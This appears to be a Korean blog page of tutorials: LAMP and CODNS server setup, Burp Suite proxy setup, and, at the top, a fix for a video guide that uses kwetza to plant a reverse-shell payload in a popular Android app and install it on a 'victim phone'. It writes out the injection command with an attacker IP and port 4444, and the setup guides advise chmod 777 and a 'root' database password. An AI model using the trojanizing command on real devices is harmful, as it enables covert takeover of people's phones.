아래의 영상을 토대로 진행하겠습니다.

https://www.youtube.com/watch?v=jsqjiO5fyvM

 

이 분의 영상을 참고 하다가 안되는 사람들을 위한 것임을 알려드립니다.

위 동영상 3줄 요약

1. kwetza 설치

2. 위변조 할 앱 설치 및 바꾸기

3. 피해자 폰 설치 터미널 확인하기

한 13:58초 쯤 부터 python kwetza.py minjok.apk tcp 내부 아이피 4444 yes 만 적혀 있는데 이대로 했을때 안된 사람들은

뒤에 AssistActivity 를 추가 하시면 됩니다.

python kwetza.py minjok.apk tcp 192.168.XXX.XXX 4444 yes AssistActivity

대문자 소문자 구별은 필수입니다.

참조 1.(ubuntu 16.04 환경에서 진행하였습니다.)

참조 2. https://blog.naver.com/angel_id/221564521754 를 참조 하였습니다.

참조 3. https://fishpoint.tistory.com/2230 를 참조 하였습니다.

웹 서버 관련 패키지 설치 할때 순서는 중요합니다.

1. apache2 설치

2. MySQL 설치

3. PHP 7.X 밑 관련 모듈 설치

먼저 바로 본론으로 들어가기 앞서 패키지 목록을 업데이트 합니다.

$sudo apt-get update

여기서 upgrade는 해도 되고 안해도 됩니다.

다음은 아파치 설치 부분입니다.

1. apache2 설치

$sudo apt-get install apache2

위 명령어를 먼저 입력을 합니다.

그럼 아파치가 제대로 작동을 했는지 확인하기 위해서 localhost 를 이용합니다.

주소창에 localhost 또는 127.0.0.1 또는 자신의 내부 아이피를 적어주시면 아래 사진과 같이 보인다면 성공입니다.

이 아파치2를 컴퓨터 부팅때마다 자동적으로 작동하게 하는 명령어는 아래와 같습니다.

$sudo update-rc.d apache2 defaults

다음으로는 MySQL 설치하는법입니다.

2. MySQL 설치 or MariaDB 설치

MySQL 설치는 아래와 같은 명령어를 입력합니다.

$sudo apt-get install mysql-server mysql-client libmysqlclient-dev

이 명령어가 정상적으로 작동이 되었을때 서버 부팅시 자동적으로 동작시키기 위해서는 다음과 같은 명령어를 입력한다.

$sudo systemctl stop mysql.service $sudo systemctl start mysql.service $sudo systemctl enable mysql.service

그리거 mysql-client 와 mysql-server 이 명령어를 사용했을때 후보가 없습니다. 라고 뜬다면 다음과 같은 명령어를 입력합니다.

$sudo apt-get install mariadb-server mariadb-client

그리고 나서 서버부팅시 MariaDB 서비스가 항상 시작되도록 하기 위해선 아래와 같은 명령어를 입력한다.

$sudo systemctl stop mariadb.service $sudo systemctl start mariadb.service $sudo systemctl enable mariadb.service

당연하지만 꼭 이러한 명령어를 입력할 필요는 없다

설치를 했을때 MySQL 비밀번호를 입력하라고 나올 수가 있다. 그럴때는 root 로 설정하고 넘어가자

다음은 PHP 설치 입니다

3. PHP7.1설치

처음에 update를 했을때 우분투 기본 저장소에 없을 수도 있기 때문에 먼저 7.1버전이 있는지 확인을 해본다. 다음과 같은 명령어를 입력한다.

$sudo apt-cache showpkg php

php7.1 버전이 없다면 다음과 같은 명령어를 입력한다.

$sudo apt-get install software-properties-common $sudo add-apt-repository ppa:ondrej/php

자 이제 PHP 7.1을 설치하고 관련 모듈을 설치해보자

$sudo apt-get install php7.1
$sudo apt-get install libapache2-mod-php7.1 apt-get install libapache2-mod-php7.1-common apt-get install php7.1-common apt-get install php7.1-gmp apt-get install php7.1-curl apt-get install php7.1-soap apt-get install php7.1-bcmath apt-get install php7.1-intl apt-get install php7.1-mbstring apt-get install php7.1-xmlrpc apt-get install php7.1-mcrypt apt-get install php7.1-mysql apt-get install php7.1-gd apt-get install php7.1-xml apt-get install php7.1-cli apt-get install php7.1-zip

수많은 모듈을 전부 다운로드 할 필요는 없지만 반드시 설치해야하는 것은 zip,mysql,mbstring,libapache2-mod-php7.1-common 을 설치해주어야 합니다.

마지막으로 정상적으로 작동이 잘되는지 확인을 해보아야합니다.

apache2 를 다시 시작을 합니다.

$sudo systemctl restart apache2.service

편집기는 자신이 좋아하는 것으로 사용하면 됩니다 여기선 nano 로 진행합니다.

먼저 /var/www/html 에 가서 phpinfo.php 를 만들고 내용을 입력한 후 저장하면 됩니다.

다음 명령어로 합니다.

$sudo nano /var/www/html/phpinfo.php

여기에서 <?php phpinfo(); ?>

를 입력하고 컨트롤+X를 누르고 Y를 누르면 저장이 됩니다. 나가기 위해서는 엔터를 눌러주시면 됩니다.

이제 주소창에 localhost/phpinfo.php 를 입력하게 되면 PHP 기본 테스트 페이지가 성공적으로 표시가 될 것입니다.

여기까지 오류가 없다면 성공입니다.

도중에 오타가 있을 수 있으니 오류 및 피드백 받습니다.

참고 사이트 : http://www.codns.com/codns/m/manual04.jsp , https://harineubo.tistory.com/7?category=792392

주의 : 구글 클라우드 플랫폼에서 이미 환경이 구축되어져 있다고 가정되었을 때에 쓴 것입니다.

1. 구글 클라우드 플랫폼

먼저 구글 클라우드 플랫폼 사이트에 들어간다. (윈도우 사용측에서)

다음과 같이 VM인스턴스에 환경이 구축되어져 있다면 SSH를 클릭하여 들어가준다.

2. 설정

SSH에 들어갔다면

빠르게 다음과 같은 명령어를 친다

$ sudo apt-get update
$ sudo su

sudo su 를 통해 관리자 권한을 일단 얻는다.

그리고 난 home 밑에 download 라는 디렉토리를 만들어 그안에서 진행을 하겠다 다른곳에서 다운로드를 진행해도 문제가없다.

$ cd .. $ mkdir download $ chmod 777 download $ cd download

download 디렉토리에 권한을 부여하였다면 바로 다음으로 넘어간다.

우선 다른방법으로 다운로드 하는 방법도 있지만 나는 FileZilla를 통해 파일을 옮겨서 다운로드 해주겠다.

FileZilla가 없다면 일단 설치하고 오자

다음은 codns 파일 설치 사이트다.

https://www.codns.com/download.php

들어가서

다음 사진과 같은 곳을 보고 자신의 운영체제 비트에 맞게 다운을 받는다.

다운을 다 받았다면 파일을 옮겨야 하는데 일단 파일질라에서 우리는 사용자명이 없기 때문에 만들어줍니다.

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

다음과 같은 사이트에서 RSA 와 DSA 라고 적혀있는 곳에서

32비트라면 32비트를 64비트라면 64비트를 선택해서 다운받아줍니다.

실행을 시키고

Generate를 눌러줍니다. (시간 상당히 걸림)

RSA 기법으로 만들어진 긴 key가 만들어질동안 기다립니다.

다음 사진과 같이 진행합니다.

그리고 구글 클라우드 플랫폼에서 컴퓨터 엔진 그리고 메타데이터에 들어갑니다

구글 클라우드 플랫폼 --> 컴퓨터 엔진 --> 메타데이터 --> SSH키

그리고 SSH키 를 클릭합니다.

전체 키 데이터 입력에서 아까 복사한 것을 붙혀주고 저장합니다.

파일질라에 들어가서 편집 --> 설정 --> SFTP --> 키 파일 추가 를 눌러 아까 저장한 파일을 추가해줍니다.

SFTP에 주석이라고 있는 부분이 사용자명에 들어갈 것이다.

호스트는 sftp://자신의아이피

사용자명은 rsa-key-자신의코드

하게 되면 접속이 된다.

이제 그냥 내가 원하는 디렉토리에 파일을 옮기기만 하면된다.

이제 다음과 같이 명령어를 입력해준다.

$ tar -xvf CODNS_LINUX.tar
$ chmod 777 CODNS_CLIENT.LINUX

이제 거의다 끝났다.

다음과 같은 명령어를 입력하면 끝이다

자세한 내용은 참조사이트에 들어가서 더 자세한 내용을 알 수가 있다.

$ ./CODNS_CLIENT.LINUX -start

오타 및 오류가 혹시 있을 수 있으니 피드백은 환영입니다.

먼저 kali linux 2020 을 설치했다고 가정하에 진행 하겠다.

먼저 burpsuit 를 검색하여 들어간다

1. 들어갔다면 다음과 같은 사진처럼 클릭 해준다.

2. 이제 start burp 를 눌러 시작을 해주도록 하자

3. 들어가게 되면 다음과 같이 여러가지 기능들이 있는데 나는 타겟와 프록시를 확인 하겠다. (원래는 xampp나 따로 서버를 열어두었다고 가정을 해야하는데 이 과정은 생략하도록 하겠다)

4. 먼저 프록시에 들어가 옵션을 확인해보면 127.0.0.1:8080이 있다

이것에 대해 설명하자면 내 로컬 호스트에 8080포트와 연결되어 있다는 뜻이다 이것을 설정하는 방법은 파일폭스(firefox)에 들어가야한다.

5. 프록시 설정

파일 폭스에 들어간다 그리고 Preferences 설정에 들어가준다.

그런다음 network 를 검색해서 settings 를 찾아 들어간다.

다음은 Manual proxy configuration 을 선택후 아까 보았던 127.0.0.1 를 적어주고 포트번호 8080을 입력한다.

자 그럼 끝이다.

6. 프록시에서 인터셉트에서 on이 되어있는지 확인만하면 이제 버프스위트 사용할 준비가 된것이다

7. 버프스위트 버전별 다운로드 사이트

버프스위트 2020 버전이 마음에 안들 수 있다 그래서 다른 버전을 배포하고 있는 정식 사이트에 들어가 다운로드를 진행하면 편하다.

https://portswigger.net/burp/communitydownload

여기서 오래된 버전을 찾으려면 다음 사진에 나와있는 곳을 클릭 해준다.

이제 자기가 원하는 버전을 찾아서 다운로드 받아주면 된다.

+ Recent posts